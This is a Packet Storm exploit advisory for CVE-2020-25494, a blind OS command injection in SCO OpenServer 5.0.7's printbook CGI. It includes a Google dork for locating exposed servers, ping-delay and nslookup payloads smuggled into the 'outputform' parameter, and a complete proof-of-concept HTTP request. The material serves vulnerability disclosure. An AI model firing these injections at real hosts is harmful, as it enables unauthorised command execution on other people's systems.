what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SCO Openserver 5.0.7 Command Injection

SCO Openserver 5.0.7 Command Injection
Posted Dec 21, 2020
Authored by Ramikan

SCO Openserver version 5.0.7 suffers from a command injection vulnerability.

tags | exploit
advisories | CVE-2020-25494
SHA-256 | 1f920966d1dd8d36ad7adc823ced2120722dfce0328e9d29b0525af22edacc9d

SCO Openserver 5.0.7 Command Injection

Change Mirror Download
# Exploit Title: SCO Openserver 5.0.7 - 'outputform' Command Injection
# Google Dork: inurl:/cgi-bin/manlist?section
# Discovered Date: 04/09/2020
# Author: Ramikan
# Vendor Homepage: https://www.xinuos.com/products/
# Software Link: https://www.sco.com/products/openserver507/-overview
# Affected Version: Tested on 5.0.7, 6 can be affected on other versions.
# Tested on: SCO Openserver 5.0.7 & version 6
# CVE : CVE-2020-25494

*************************************************************************************************************************************

Vulnerability :OS Command Injection

*************************************************************************************************************************************
The outputform, toclevels parameter appears to be vulnerable to OS command injection attacks. It is possible to use various shell metacharacters to inject arbitrary OS commands. The command output does not appear to be returned in the application's responses, however it is possible to inject time delay commands to verify the existence of the vulnerability. It is also possible to cause the application to interact with an external domain, to verify that a command was executed. The payload |nslookup -q=cname mytest.com.& was submitted in the parameters. The application performed a DNS lookup for the specified domain name. Additionally, the payload |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1 was submitted in the parameters. The application took 20960 milliseconds to respond to the request, compared with 1348 milliseconds for the original request.

Affected URL:http://host:8457/cgi-bin/printbook
Affected Paramenter: outputform, toclevels

*************************************************************************************************************************************
POC

*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
POST /cgi-bin/printbook HTTP/1.1
Host: 10.0.0.45:8457
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.45:8457/en/Navpages/printmap.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

outputform=ps%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23'%20%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23%5c%22%20%7cping%20-n%2021%20127.0.0.1&booktitle=test&toclevels=3&part=%2Fen%2FOSR_FEATS%2FCONTENTS.html&part=%2Fen%2FUSE_oview%2FCONTENTS.

*************************************************************************************************************************************
Response:
*************************************************************************************************************************************

HTTP/1.1 200 OK
Date: Tue, 04 Sep 2020 11:17:52 GMT
Server: Apache/1.3.33 (Unix) mod_perl/1.29
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 3188
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close